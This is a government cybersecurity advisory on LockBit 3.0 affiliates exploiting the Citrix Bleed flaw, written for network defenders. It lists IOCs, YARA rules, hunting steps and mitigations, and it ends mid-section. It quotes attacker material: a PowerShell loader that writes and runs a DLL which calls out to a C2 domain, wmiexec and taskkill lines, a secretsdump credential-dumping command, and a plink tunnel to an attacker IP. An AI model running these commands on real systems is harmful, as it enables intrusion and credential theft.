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Share:
Cybersecurity Advisory
#STOPRANSOMWARE: LOCKBIT 3.0 RANSOMWARE AFFILIATES EXPLOIT CVE 2023-4966 CITRIX
BLEED VULNERABILITY
Release Date
November 21, 2023
Alert Code
AA23-325A
SUMMARY
Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing
#StopRansomware effort to publish advisories for network defenders that detail
various ransomware variants and ransomware threat actors. These #StopRansomware
advisories include recently and historically observed tactics, techniques, and
procedures (TTPs) and indicators of compromise (IOCs) to help organizations
protect against ransomware. Visit stopransomware.gov to see all #StopRansomware
advisories and to learn more about other ransomware threats and no-cost
resources.
The Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of
Investigation (FBI), Multi-State Information Sharing & Analysis Center
(MS-ISAC), and Australian Signals Directorate’s Australian Cyber Security Centre
(ASD’s ACSC) are releasing this joint Cybersecurity Advisory (CSA) to
disseminate IOCs, TTPs, and detection methods associated with LockBit 3.0
ransomware exploiting CVE-2023-4966, labeled Citrix Bleed, affecting Citrix
NetScaler web application delivery control (ADC) and NetScaler Gateway
appliances.
This CSA provides TTPs and IOCs obtained from FBI, ACSC, and voluntarily shared
by Boeing. Boeing observed LockBit 3.0 affiliates exploiting CVE-2023-4966, to
obtain initial access to Boeing Distribution Inc., its parts and distribution
business that maintains a separate environment. Other trusted third parties have
observed similar activity impacting their organization.
Historically, LockBit 3.0 affiliates have conducted attacks against
organizations of varying sizes across multiple critical infrastructure sectors,
including education, energy, financial services, food and agriculture,
government and emergency services, healthcare, manufacturing, and
transportation. Observed TTPs for LockBit ransomware attacks can vary
significantly in observed TTPs.
Citrix Bleed, known to be leveraged by LockBit 3.0 affiliates, allows threat
actors to bypass password requirements and multifactor authentication (MFA),
leading to successful session hijacking of legitimate user sessions on Citrix
NetScaler web application delivery control (ADC) and Gateway appliances. Through
the takeover of legitimate user sessions, malicious actors acquire elevated
permissions to harvest credentials, move laterally, and access data and
resources.
CISA and the authoring organizations strongly encourage network administrators
to apply the mitigations found in this CSA, which include isolating NetScaler
ADC and Gateway appliances and applying necessary software updates through the
Citrix Knowledge Center(link is external).
The authoring organizations encourage network defenders to hunt for malicious
activity on their networks using the detection methods and IOCs within this CSA.
If a potential compromise is detected, organizations should apply the incident
response recommendations. If no compromise is detected, organizations should
immediately apply patches made publicly available.
For the associated Malware Analysis Report (MAR), see: MAR-10478915-1.v1 Citrix
Bleed
Download the PDF version of this report:
AA23-325A LockBit 3.0 Ransomware Affiliates Exploit CVE 2023-4966 Citrix Bleed
Vulnerability (PDF, 631.83 KB )
For a downloadable copy of IOCs, see:
AA23-325A STIX XML (XML, 29.22 KB )
AA23-325A STIX JSON (JSON, 23.00 KB )
TECHNICAL DETAILS
Note: This advisory uses the MITRE ATT&CK® for Enterprise(link is external)
framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a
table of the threat actors’ activity mapped to MITRE ATT&CK tactics and
techniques. For assistance with mapping malicious cyber activity to the MITRE
ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK
Mapping and CISA’s Decider Tool(link is external).
CVE-2023-4966
CVE-2023-4966 is a software vulnerability found in Citrix NetScaler ADC and
NetScaler Gateway appliances with exploitation activity identified as early as
August 2023. This vulnerability provides threat actors, including LockBit 3.0
ransomware affiliates, the capability to bypass MFA [T1556.006(link is
external)] and hijack legitimate user sessions [T1563(link is external)].
After acquiring access to valid cookies, LockBit 3.0 affiliates establish an
authenticated session within the NetScaler appliance without a username,
password, or access to MFA tokens [T1539(link is external)]. Affiliates acquire
this by sending an HTTP GET request with a crafted HTTP Host header, leading to
a vulnerable appliance returning system memory information [T1082(link is
external)]. The information obtained through this exploit contains a valid
NetScaler AAA session cookie.
Citrix publicly disclosed CVE-2023-4966 on Oct. 10, 2023, within their Citrix
Security Bulletin(link is external), which issued guidance, and detailed the
affected products, IOCs, and recommendations. Based on widely available public
exploits and evidence of active exploitation, CISA added this vulnerability to
the Known Exploited Vulnerabilities (KEVs) Catalog. This critical vulnerability
exploit impacts the following software versions [1(link is external)]:
* NetScaler ADC and NetScaler Gateway 14.1 before 14.1-8.50
* NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.15
* NetScaler ADC and NetScaler Gateway 13.0 before 13.0-92.19
* NetScaler ADC and NetScaler Gateway version 12.1 (EOL)
* NetScaler ADC 13.1FIPS before 13.1-37.163
* NetScaler ADC 12.1-FIPS before 12.1-55.300
* NetScaler ADC 12.1-NDcPP before 12.1-55.300
Due to the ease of exploitation, CISA and the authoring organizations expect to
see widespread exploitation of the Citrix vulnerability in unpatched software
services throughout both private and public networks.
THREAT ACTOR ACTIVITY
Malware identified in this campaign is generated beginning with the execution of
a PowerShell script (123.ps1) which concatenates two base64 strings together,
converts them to bytes, and writes them to the designated file path.
$y = "TVqQAAMA...<long base64 string>"
$x = "RyEHABFQ...<long base64 string>"
$filePath = "C:\Users\Public\adobelib.dll"
$fileBytes = [System.Convert]::FromBase64String($y + $x)
[System.IO.File]::WriteAllBytes($filePath, $fileBytes)
The resulting file (adobelib.dll) is then executed by the PowerShell script
using rundll32.
rundll32 C:\Users\Public\adobelib.dll,main <104 hex char key>
The Dynamic Link Library (DLL) will not execute correctly without the 104 hex
character key. Following execution, the DLL attempts to send a POST request to
https://adobe-us-updatefiles[.]digital/index.php which resolves to IP addresses
172.67.129[.]176 and 104.21.1[.]180 as of November 16, 2023. Although
adobelib.dll and the adobe-us-updatefiles[.]digital have the appearance of
legitimacy, the file and domain have no association with legitimate Adobe
software and no identified interaction with the software.
Other observed activities include the use of a variety of TTPs commonly
associated with ransomware activity. For example, LockBit 3.0 affiliates have
been observed using AnyDesk and Splashtop remote management and monitoring
(RMM), Batch and PowerShell scripts, the execution of HTA files using the
Windows native utility mshta.exe and other common software tools typically
associated with ransomware incidents.
INDICATORS OF COMPROMISE (IOCS)
See Table 1–Table 5 for IOCs related to Lockbit 3.0 affiliate exploitation of
CVE-2023-4966.
[FIDELITY] LEGEND:
* High = Indicator is unique or highly indicates LockBit in an environment.
* Medium = Indicator was used by LockBit but is used outside of LockBit
activity, albeit rarely.
* Low = Indicates tools that are commonly used but were used by LockBit.
Low confidence indicators may not be related to ransomware.
Disclaimer: Some IP addresses in this CSA may be associated with legitimate
activity. Organizations are encouraged to investigate the activity around these
IP addresses prior to taking action, such as blocking. Activity should not be
attributed as malicious without analytical evidence to support they are used at
the direction of, or controlled by, threat actors.
Table 1: LockBit 3.0 Affiliate Citrix Bleed Campaign
Indicator
Type
Fidelity
Description
Indicator
192.229.221[.]95
Type
IP
Fidelity
Low
Description
Mag.dll calls out to this IP address. Ties back to dns0.org. Should run this DLL
in a sandbox, when possible, to confirm C2. IP is shared hosting.
Indicator
123.ps1
Type
PowerShell script
Fidelity
High
Description
Creates and executes payload via script.
Indicator
193.201.9[.]224
Type
IP
Fidelity
High
Description
FTP to Russian geolocated IP from compromised system.
Indicator
62.233.50[.]25
Type
IP
Fidelity
High
Description
Russian geolocated IP from compromised system.
Hxxp://62.233.50[.]25/en-us/docs.html
Hxxp://62.233.50[.]25/en-us/test.html
Indicator
51.91.79[.].17
Type
IP
Fidelity
Med
Description
Temp.sh IP.
Indicator
Teamviewer
Type
Tool (Remote Admin)
Fidelity
Low
Description
Indicator
70.37.82[.]20
Type
IP
Fidelity
Low
Description
IP was seen from a known compromised account reaching out to an Altera IP
address. LockBit is known to leverage Altera, a remote admin tool, such as
Anydesk, team viewer, etc.
Indicator
185.17.40[.]178
Type
IP
Fidelity
Low
Description
Teamviewer C2, ties back to a polish service provider, Artnet Sp. Zo.o. Polish
IP address.
Table 2: LockBit 3.0 Affiliate Citrix Bleed Campaign
Indicator
Type
Fidelity
Description
Indicator
185.229.191.41
Type
Anydesk Usage
Fidelity
High
Description
Anydesk C2.
Indicator
81.19.135[.]219
Type
IP
Fidelity
High
Description
Russian geolocated IP hxxp://81.19.135[.]219/F8PtZ87fE8dJWqe.hta
Hxxp://81.19.135[.]219:443/q0X5wzEh6P7.hta
Indicator
45.129.137[.]233
Type
IP
Fidelity
Medium
Description
Callouts from known compromised device beginning during the compromised window.
Indicator
185.229.191[.]41
Type
Anydesk Usage
Fidelity
High
Description
Anydesk C2.
Indicator
Plink.exe
Type
Command interpreter
Fidelity
High
Description
Plink (PuTTY Link) is a command-line connection tool, similar to UNIX SSH. It is
mostly used for automated operations, such as making CVS access a repository on
a remote server. Plink can be used to automate SSH actions and for remote SSH
tunneling on Windows.
Indicator
AnyDeskMSI.exe
Type
Remote admin tool
Fidelity
High
Description
We do see that AnyDeskMSI.exe was installed as a service with “auto start”
abilities for persistence. Config file from the image could be leveraged to find
the ID and Connection IP, but we do not have that currently.
Indicator
SRUtility.exe
Type
Splashtop utility
Fidelity
Description
9b6b722ba4a691a2fe21747cd5b8a2d18811a173413d4934949047e04e40b30a
Indicator
Netscan exe
Type
Network scanning software
Fidelity
High
Description
498ba0afa5d3b390f852af66bd6e763945bf9b6bff2087015ed8612a18372155
Table 3: LockBit 3.0 Affiliate Citrix Bleed Campaign
Indicator
Type
Fidelity
Description
Indicator
Scheduled task:
\MEGA\MEGAcmd
Type
Persistence
Fidelity
High
Description
Indicator
Scheduled task:
UpdateAdobeTask
Type
Persistence
Fidelity
High
Description
Indicator
Mag.dll
Type
Persistence
Fidelity
High
Description
Identified as running within UpdateAdobeTask
cc21c77e1ee7e916c9c48194fad083b2d4b2023df703e544ffb2d6a0bfc90a63.
Indicator
123.ps1
Type
Script
Fidelity
High
Description
Creates rundll32 C:\Users\Public\adobelib.dll,main
ed5d694d561c97b4d70efe934936286fe562addf7d6836f795b336d9791a5c44.
Indicator
Adobelib.dll
Type
Persistence
Fidelity
Low
Description
C2 from adobelib.dll.
Indicator
Adobe-us-updatefiles[.]digital
Type
Tool Download
Fidelity
High
Description
Used to download obfuscated toolsets.
Indicator
172.67.129[.]176
Type
Tool Download
Fidelity
High
Description
IP of adobe-us-updatefiles[.]digital.
Indicator
104.21.1[.]180
Type
Tool Download
Fidelity
High
Description
Adobe-us-updatefiles[.]digital.
Indicator
cmd.exe /q /c cd 1> \\127.0.0.1\admin$\__1698617793[.]44 2>&1
Type
Command
Fidelity
High
Description
wmiexec.exe usage
Indicator
cmd.exe /q /c cd \ 1> \\127.0.0.1\admin$\__1698617793[.]44 2>&1
Type
Command
Fidelity
High
Description
wmiexec.exe usage
Indicator
cmd.exe /q /c query user 1> \\127.0.0.1\admin$\__1698617793[.]44 2>&1
Type
Command
Fidelity
High
Description
wmiexec.exe usage
Indicator
cmd.exe /q /c taskkill /f /im sqlwriter.exe /im winmysqladmin.exe /im
w3sqlmgr.exe /im sqlwb.exe /im sqltob.exe /im sqlservr.exe /im sqlserver.exe /im
sqlscan.exe /im sqlbrowser.exe /im sqlrep.exe /im sqlmangr.exe /im sqlexp3.exe
/im sqlexp2.exe /im sqlex
Type
Command
Fidelity
High
Description
wmiexec.exe usage
Indicator
cmd.exe /q /c cd \ 1> \\127.0.0.1\admin$\__1698618133[.]54 2>&1
Type
Command
Fidelity
High
Description
wmiexec.exe usage
The authoring organizations recommended monitoring/reviewing traffic to the
81.19.135[.]* class C network and review for MSHTA being called with HTTP
arguments [2(link is external)].
Table 4: LockBit 3.0 Affiliate Citrix Bleed Campaign
Indicator
Type
Fidelity
Description
Notes
Indicator
81.19.135[.]219
Type
IP
Fidelity
High
Description
Russian geolocated IP used by user to request mshta with http arguments to
download random named HTA file named q0X5wzzEh6P7.hta
Notes
Indicator
81.19.135[.]220
Type
IP
Fidelity
High
Description
Russian geolocated IP, seen outbound in logs
Notes
IP registered to a South African Company
Indicator
81.19.135[.]226
Type
IP
Fidelity
High
Description
Russian geolocated IP, seen outbound in logs
Notes
IP registered to a South African Company
Table 5: Citrix Bleed Indicators of Compromise (IOCs)
Type
Indicator
Description
Type
Filename
Indicator
c:\users\<username>\downloads\process hacker 2\peview.exe
Description
Process hacker
Type
Filename
Indicator
c:\users\<username>\music\process hacker 2\processhacker.exe
Description
Process hacker
Type
Filename
Indicator
psexesvc.exe
Description
Psexec service excutable
Type
Filename
Indicator
c:\perflogs\processhacker.exe
Description
Process hacker
Type
Filename
Indicator
c:\windows\temp\screenconnect\23.8.5.8707\files\processhacker.exe
Description
Process hacker transferred via screenconnect
Type
Filename
Indicator
c:\perflogs\lsass.dmp
Description
Lsass dump
Type
Filename
Indicator
c:\users\<username>\downloads\mimikatz.exe
Description
Mimikatz
Type
Filename
Indicator
c:\users\<username>\desktop\proc64\proc.exe
Description
Procdump
Type
Filename
Indicator
c:\users\<username>\documents\veeam-get-creds.ps1
Description
Decrypt veeam creds
Type
Filename
Indicator
secretsdump.py
Description
Impacket installed on azure vm
Type
Cmdline
Indicator
secretsdump.py <domain>/<username>@<ip> -outputfile 1
Description
Impacket installed on azure vm
Type
Filename
Indicator
ad.ps1
Description
Adrecon found in powershell transcripts
Type
Filename
Indicator
c:\perflogs\64-bit\netscan.exe
Description
Softperfect netscan
Type
Filename
Indicator
tniwinagent.exe
Description
Total network inventory agent
Type
Filename
Indicator
psexec.exe
Description
Psexec used to deploy screenconnect
Type
Filename
Indicator
7z.exe
Description
Used to compress files
Type
Tool
Indicator
Action1
Description
RMM
Type
Tool
Indicator
Atera
Description
RMM
Type
tool
Indicator
anydesk
Description
rmm
Type
tool
Indicator
fixme it
Description
rmm
Type
tool
Indicator
screenconnect
Description
rmm
Type
tool
Indicator
splashtop
Description
rmm
Type
tool
Indicator
zoho assist
Description
rmm
Type
ipv4
Indicator
101.97.36[.]61
Description
zoho assist
Type
ipv4
Indicator
168.100.9[.]137
Description
ssh portforwarding infra
Type
ipv4
Indicator
185.20.209[.]127
Description
zoho assist
Type
ipv4
Indicator
185.230.212[.]83
Description
zoho assist
Type
ipv4
Indicator
206.188.197[.]22
Description
powershell reverse shell seen in powershell logging
Type
ipv4
Indicator
54.84.248[.]205
Description
fixme ip
Type
Ipv4
Indicator
141.98.9[.]137
Description
Remote IP for CitrixBleed
Type
domain
Indicator
assist.zoho.eu
Description
zoho assist
Type
filename
Indicator
c:\perflogs\1.exe
Description
connectwise renamed
Type
filename
Indicator
c:\perflogs\run.exe
Description
screenconnect pushed by psexec
Type
filename
Indicator
c:\perflogs\64-bit\m.exe
Description
connectwise renamed
Type
filename
Indicator
c:\perflogs\64-bit\m0.exe
Description
connectwise renamed
Type
filename
Indicator
c:\perflogs\za_access_my_department.exe
Description
zoho remote assist
Type
filename
Indicator
c:\users\<username>\music\za_access_my_department.exe
Description
zoho remote assist
Type
filename
Indicator
c:\windows\servicehost.exe
Description
plink renamed
Type
filename
Indicator
c:\windows\sysconf.bat
Description
runs servicehost.exe (plink) command
Type
filename
Indicator
c:\windows\temp\screenconnect\23.8.5.8707\files\azure.msi
Description
zoho remote assist used to transfer data via screenconnect
Type
cmdline
Indicator
echo enter | c:\windows\servicehost.exe -ssh -r 8085:127.0.0.1:8085
<username>@168.100.9[.]137 -pw <password>
Description
plink port forwarding
Type
domain
Indicator
eu1-dms.zoho[.]eu
Description
zoho assist
Type
domain
Indicator
fixme[.]it
Description
fixme it
Type
domain
Indicator
unattended.techinline[.]net
Description
fixme it
MITRE ATT&CK TACTICS AND TECHNIQUES
See Table 6 and Table 7 for all referenced threat actor tactics and techniques
in this advisory.
Table 6: ATT&CK Techniques for Enterprise: Discovery
Technique Title
ID
Use
Technique Title
System Information Discovery
ID
T1082(link is external)
Use
Threat actors will attempt to obtain information about the operating system and
hardware, including versions, and patches.
Table 7: ATT&CK Techniques for Enterprise: Credential Access
Technique Title
ID
Use
Technique Title
Modify Authentication Process: Multifactor Authentication
ID
T1556.006(link is external)
Use
Threat actors leverage vulnerabilities found within CVE- to compromise, modify,
and/or bypass multifactor authentication to hijack user sessions, harvest
credentials, and move laterally, which enables persistent access.
Technique Title
Steal Web Session Cookie
ID
T1539(link is external)
Use
Threat actors with access to valid cookies can establish an authenticated
session within the NetScaler appliance without a username, password, or access
to multifactor authentication (MFA) tokens.
DETECTION METHODS
HUNTING GUIDANCE
Network defenders should prioritize observing users in session when hunting for
network anomalies. This will aid the hunt for suspicious activity such as
installing tools on the system (e.g., putty, rClone ), new account creation, log
item failure, or running commands such as hostname, quser, whoami, net, and
taskkill. Rotating credentials for identities provisioned for accessing
resources via a vulnerable NetScaler ADC or Gateway appliance can also aid in
detection.
For IP addresses:
* Identify if NetScaler logs the change in IP.
* Identify if users are logging in from geolocations uncommon for your
organization’s user base.
* If logging VPN authentication, identify if users are associated with two or
more public IP addresses while in a different subnet or geographically
dispersed.
Note: MFA to NetScaler will not operate as intended due to the attacker
bypassing authentication by providing a token/session for an already
authenticated user.
The following procedures can help identify potential exploitation of
CVE-2023-4966 and LockBit 3.0 activity:
* Search for filenames that contain tf0gYx2YI for identifying LockBit encrypted
files.
* LockBit 3.0 actors were seen using the C:\Temp directory for loading and the
execution of files.
* Investigate requests to the HTTP/S endpoint from WAF.
* Hunt for suspicious login patterns from NetScaler logs
* Hunt for suspicious virtual desktop agent Windows Registry keys
* Analyze memory core dump files.
Below, are CISA developed YARA rules and an open-source rule that may be used to
detect malicious activity in the Citrix NetScaler ADC and Gateway software
environment. For more information on detecting suspicious activity within
NetScaler logs or additional resources, visit CISA’s Malware Analysis Report
(MAR) MAR-10478915-1.v1 Citrix Bleed or the resource section of this CSA [3(link
is external)]:
YARA RULES
CISA received four files for analysis that show files being used to save
registry hives, dump the Local Security Authority Subsystem Service (LSASS)
process memory to disk, and attempt to establish sessions via Windows Remote
Management (WinRM). The files include:
* Windows Batch file (.bat)
* Windows Executable (.exe)
* Windows Dynamic Link Library (.dll)
* Python Script (.py)
rule CISA_10478915_01 : trojan installs_other_components
{
meta:
author = "CISA Code & Media Analysis"
incident = "10478915"
date = "2023-11-06"
last_modified = "20231108_1500"
actor = "n/a"
family = "n/a"
capabilities = "installs-other-components"
malware_Type = "trojan"
tool_type = "information-gathering"
description = "Detects trojan .bat samples"
sha256 = "98e79f95cf8de8ace88bf223421db5dce303b112152d66ffdf27ebdfcdf967e9"
strings:
$s1 = { 63 3a 5c 77 69 6e 64 6f 77 73 5c 74 61 73 6b 73 5c 7a 2e 74 78 74 }
$s2 = { 72 65 67 20 73 61 76 65 20 68 6b 6c 6d 5c 73 79 73 74 65 6d 20 63 3a 5c
77 69 6e 64 6f 77 73 5c 74 61 73 6b 73
5c 65 6d }
$s3 = { 6d 61 6b 65 63 61 62 20 63 3a 5c 75 73 65 72 73 5c 70 75 62 6c 69 63 5c
61 2e 70 6e 67 20 63 3a 5c 77 69 6e 64
6f 77 73 5c 74 61 73 6b 73 5c 61 2e 63 61 62 }
condition:
all of them
}
This file is a Windows batch file called a.bat that is used to execute the file
called a.exe with the file called a.dll as an argument. The output is printed to
a file named 'z.txt' located in the path C:\Windows\Tasks. Next, a.bat pings the
loop back internet protocol (IP) address 127.0.0[.]1 three times.
The next command it runs is reg save to save the HKLM\SYSTEM registry hive into
the C:\Windows\tasks\em directory. Again, a.bat pings the loop back address
127.0.0[.]1 one time before executing another reg save command and saves the
HKLM\SAM registry hive into the C:\Windows\Task\am directory. Next, a.bat runs
three makecab commands to create three cabinet (.cab) files from the previously
mentioned saved registry hives and one file named C:\Users\Public\a.png. The
names of the .cab files are as follows:
* c:\windows\tasks\em.cab
* c:\windows\tasks\am.cab
* c:\windows\tasks\a.cab
rule CISA_10478915_02 : trojan installs_other_components
{
meta:
author = "CISA Code & Media Analysis"
incident = "10478915"
date = "2023-11-06"
last_modified = "20231108_1500"
actor = "n/a"
family = "n/a"
capabilities = "installs-other-components"
malware_type = "trojan"
tool_type = "unknown"
description = "Detects trojan PE32 samples"
sha256 = "e557e1440e394537cca71ed3d61372106c3c70eb6ef9f07521768f23a0974068"
strings:
$s1 = { 57 72 69 74 65 46 69 6c 65 }
$s2 = { 41 70 70 50 6f 6c 69 63 79 47 65 74 50 72 6f 63 65 73 73 54 65 72 6d 69
6e 61 74 69 6f 6e 4d 65 74 68 6f 64 }
$s3 = { 6f 70 65 72 61 74 6f 72 20 63 6f 5f 61 77 61 69 74 }
$s4 = { 43 6f 6d 70 6c 65 74 65 20 4f 62 6a 65 63 74 20 4c 6f 63 61 74 6f 72 }
$s5 = { 64 65 6c 65 74 65 5b 5d }
$s6 = { 4e 41 4e 28 49 4e 44 29 }
condition:
uint16(0) == 0x5a4d and pe.imphash() == "6e8ca501c45a9b85fff2378cffaa24b2" and
pe.size_of_code == 84480 and all of
them
}
This file is a 64-bit Windows command-line executable called a.exe that is
executed by a.bat. This file issues the remote procedure call (RPC)
ncalrpc:[lsasspirpc] to the RPC end point to provide a file path to the LSASS on
the infected machine. Once the file path is returned, the malware loads the
accompanying DLL file called a.dll into the running LSASS process. If the DLL is
correctly loaded, then the malware outputs the message "[*]success" in the
console.
rule CISA_10478915_03 : trojan steals_authentication_credentials
credential_exploitation
{
meta:
author = "CISA Code & Media Analysis"
incident = "10478915"
date = "2023-11-06"
last_modified = "20231108_1500"
actor = "n/a"
family = "n/a"
capabilities = "steals-authentication-credentials"
malware_type = "trojan"
tool_type = "credential-exploitation"
description = "Detects trojan DLL samples"
sha256 = "17a27b1759f10d1f6f1f51a11c0efea550e2075c2c394259af4d3f855bbcc994"
strings:
$s1 = { 64 65 6c 65 74 65 }
$s2 = { 3c 2f 74 72 75 73 74 49 6e 66 6f 3e }
$s3 = { 42 61 73 65 20 43 6c 61 73 73 20 44 65 73 63 72 69 70 74 6f 72 20 61 74
20 28 }
$s4 = { 49 6e 69 74 69 61 6c 69 7a 65 43 72 69 74 69 63 61 6c 53 65 63 74 69 6f
6e 45 78 }
$s5 = { 46 69 6e 64 46 69 72 73 74 46 69 6c 65 45 78 57 }
$s6 = { 47 65 74 54 69 63 6b 43 6f 75 6e 74 }
condition:
uint16(0) == 0x5a4d and pe.subsystem == pe.SUBSYSTEM_WINDOWS_CUI and
pe.size_of_code == 56832 and all of
them
}
This file is a 64-bit Windows DLL called a.dll that is executed by a.bat as a
parameter for the file a.exe. The file a.exe loads this file into the running
LSASS process on the infected machine. The file a.dll calls the Windows API
CreateFileW to create a file called a.png in the path C:\Users\Public.
Next, a.dll loads DbgCore.dll then utilizes MiniDumpWriteDump function to dump
LSASS process memory to disk. If successful, the dumped process memory is
written to a.png. Once this is complete, the file a.bat specifies that the file
a.png is used to create the cabinet file called a.cab in the path
C:\Windows\Tasks.
rule CISA_10478915_04 : backdoor communicates_with_c2 remote_access
{
meta:
author = "CISA Code & Media Analysis"
incident = "10478915"
date = "2023-11-06"
last_modified = "20231108_1500"
actor = "n/a"
family = "n/a"
capabilities = "communicates-with-c2"
malware_type = "backdoor"
tool_type = "remote-access"
description = "Detects trojan python samples"
sha256 = "906602ea3c887af67bcb4531bbbb459d7c24a2efcb866bcb1e3b028a51f12ae6"
strings:
$s1 = { 70 6f 72 74 20 3d 20 34 34 33 20 69 66 20 22 68 74 74 70 73 22 }
$s2 = { 6b 77 61 72 67 73 2e 67 65 74 28 22 68 61 73 68 70 61 73 73 77 64 22 29
3a }
$s3 = { 77 69 6e 72 6d 2e 53 65 73 73 69 6f 6e 20 62 61 73 69 63 20 65 72 72 6f
72 }
$s4 = { 57 69 6e 64 77 6f 73 63 6d 64 2e 72 75 6e 5f 63 6d 64 28 73 74 72 28 63
6d 64 29 29 }
condition:
all of them
}
This file is a Python script called a.py that attempts to leverage WinRM to
establish a session. The script attempts to authenticate to the remote machine
using NT LAN Manager (NTLM) if the keyword "hashpasswd" is present. If the
keyword "hashpasswd" is not present, then the script attempts to authenticate
using basic authentication. Once a WinRM session is established with the remote
machine, the script has the ability to execute command line arguments on the
remote machine. If there is no command specified, then a default command of
“whoami” is run.
OPEN SOURCE YARA RULE
Import "pe"
rule M_Hunting_Backdoor_FREEFIRE
{
meta: author = "Mandiant"
description = "This is a hunting rule to detect FREEFIRE samples using OP code
sequences in getLastRecord method"
md5 = "eb842a9509dece779d138d2e6b0f6949"
malware_family = "FREEFIRE"
strings: $s1 = { 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28
?? ?? ?? ?? 74 ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F
?? ?? ?? ?? 25 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ??
?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 74 ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 73 ?? ??
?? ?? 6F ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ??
?? ?? ?? 6F ?? ?? ?? ?? ??
}
condition:
uint16(0) == 0x5A4D
and filesize >= 5KB
and pe.imports("mscoree.dll")
and all of them }
INCIDENT RESPONSE
Organizations are encouraged to assess Citrix software and your systems for
evidence of compromise, and to hunt for malicious activity (see Additional
Resources section).If compromise is suspected or detected, organizations should
assume that threat actors hold full administrative access and can perform all
tasks associated with the web management software as well as installing
malicious code.
If a potential compromise is detected, organizations should:
1. Quarantine or take offline potentially affected hosts.
2. Reimage compromised hosts.
3. Create new account credentials.
4. Collect and review artifacts such as running processes/services, unusual
authentications, and recent network connections.
* Note: Removing malicious administrator accounts may not fully mitigate
risk considering threat actors may have established additional persistence
mechanisms.
5. Report the compromise to FBI Internet Crime Complaint Center (IC3) at
IC3.gov, local FBI Field Office, or CISA via the agency’s Incident Reporting
System or its 24/7 Operations Center (report@cisa.gov(link sends email) or
888-282-0870). State, local, tribal, or territorial government (SLTT)
entities can also report to MS-ISAC (SOC@cisecurity.org(link sends email) or
866-787-4722). If outside of the US, please contact your national cyber
center.
MITIGATIONS
These mitigations apply to all critical infrastructure organizations and network
defenders using Citrix NetScaler ADC and Gateway software. CISA and authoring
organizations recommend that software manufacturers incorporate secure-by-design
and -default principles and tactics into their software development practices to
limit the impact of exploitation such as threat actors leveraging unpatched
vulnerabilities within Citrix NetScaler appliances, which strengthens the
security posture of their customers.
For more information on secure by design, see CISA’s Secure by Design and
Default webpage and joint guide.
The authoring organizations of this CSA recommend organizations implement the
mitigations below to improve your cybersecurity posture on the basis of the
threat actor activity and to reduce the risk of compromise associated with
Citrix CVE 2023-4966 and LockBit 3.0 ransomware & ransomware affiliates. These
mitigations align with the Cross-Sector Cybersecurity performance goals (CPGs)
developed by CISA and the National Institute of Standards and Technology (NIST).
The CPGs provide a minimum set of practices and protections that CISA and NIST
recommend all organizations implement. CISA and NIST based the CPGs on existing
cybersecurity frameworks and guidance to protect against the most common and
impactful threats, tactics, techniques, and procedures. Visit CISA’s
Cross-Sector Cybersecurity Performance Goals for more information on the CPGs,
including additional recommended baseline protections.
* Isolate NetScaler ADC and Gateway appliances for testing until patching is
ready and deployable.
* Secure remote access tools by:
* Implement application controls to manage and control the execution of
software, including allowlisting remote access programs. Application
controls should prevent the installation and execution of portable versions
of unauthorized remote access and other software. A properly configured
application allowlisting solution will block any unlisted application
execution. Allowlisting is important because antivirus solutions may fail
to detect the execution of malicious portable executables when the files
use any combination of compression, encryption, or obfuscation.
* Strictly limit the use of RDP and other remote desktop services. If RDP is
necessary, rigorously apply best practices, for example [CPG 2.W]:
* Audit the network for systems using RDP.
* Close unused RDP ports.
* Enforce account lockouts after a specified number of attempts.
* Apply phishing-resistant multifactor authentication (MFA).
* Log RDP login attempts.
* Restrict the use of PowerShell, using Group Policy, and only grant access to
specific users on a case-by-case basis. Typically, only those users or
administrators who manage the network or Windows operating systems (OSs)
should be permitted to use PowerShell [CPG 2.E].
* Update Windows PowerShell or PowerShell Core to the latest version and
uninstall all earlier PowerShell versions. Logs from Windows PowerShell prior
to version 5.0 are either non-existent or do not record enough detail to aid
in enterprise monitoring and incident response activities [CPG 1.E, 2.S,
2.T].
* Enable enhanced PowerShell logging [CPG 2.T, 2.U].
* PowerShell logs contain valuable data, including historical OS and registry
interaction and possible TTPs of a threat actor’s PowerShell use.
* Ensure PowerShell instances, using the latest version, have module, script
block, and transcription logging enabled (enhanced logging).
* The two logs that record PowerShell activity are the PowerShell Windows
Event Log and the PowerShell Operational Log. FBI and CISA recommend
turning on these two Windows Event Logs with a retention period of at least
180 days. These logs should be checked on a regular basis to confirm
whether the log data has been deleted or logging has been turned off. Set
the storage size permitted for both logs to as large as possible.
* Configure the Windows Registry to require User Account Control (UAC) approval
for any PsExec operations requiring administrator privileges to reduce the
risk of lateral movement by PsExec.
* Implement a recovery plan to maintain and retain multiple copies of sensitive
or proprietary data and servers in a physically separate, segmented, and
secure location (e.g., hard drive, storage device, or the cloud).
* Require all accounts with password logins (e.g., service account, admin
accounts, and domain admin accounts) to comply with NIST's standards for
developing and managing password policies.
* Use longer passwords consisting of at least 15 characters [CPG 2.B].
* Store passwords in hashed format using industry-recognized password
managers.
* Add password user “salts” to shared login credentials.
* Avoid reusing passwords [CPG 2.C].
* Implement multiple failed login attempt account lockouts [CPG 2.G].
* Disable password “hints."
* Require administrator credentials to install software.
* Keep all operating systems, software, and firmware up to date. Timely
patching is one of the most efficient and cost-effective steps an
organization can take to minimize its exposure to cybersecurity threats.
Organizations should patch vulnerable software and hardware systems within 24
to 48 hours of vulnerability disclosure. Prioritize patching known exploited
vulnerabilities in internet-facing systems [CPG 1.E].
* Upgrade vulnerable NetScaler ADC and Gateway appliances to the latest
version available to lower the risk of compromise.
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, CISA recommends exercising, testing, and
validating your organization's security program against the threat behaviors
mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA
recommends testing your existing security controls inventory to assess how they
perform against the ATT&CK techniques described in this advisory.
To get started:
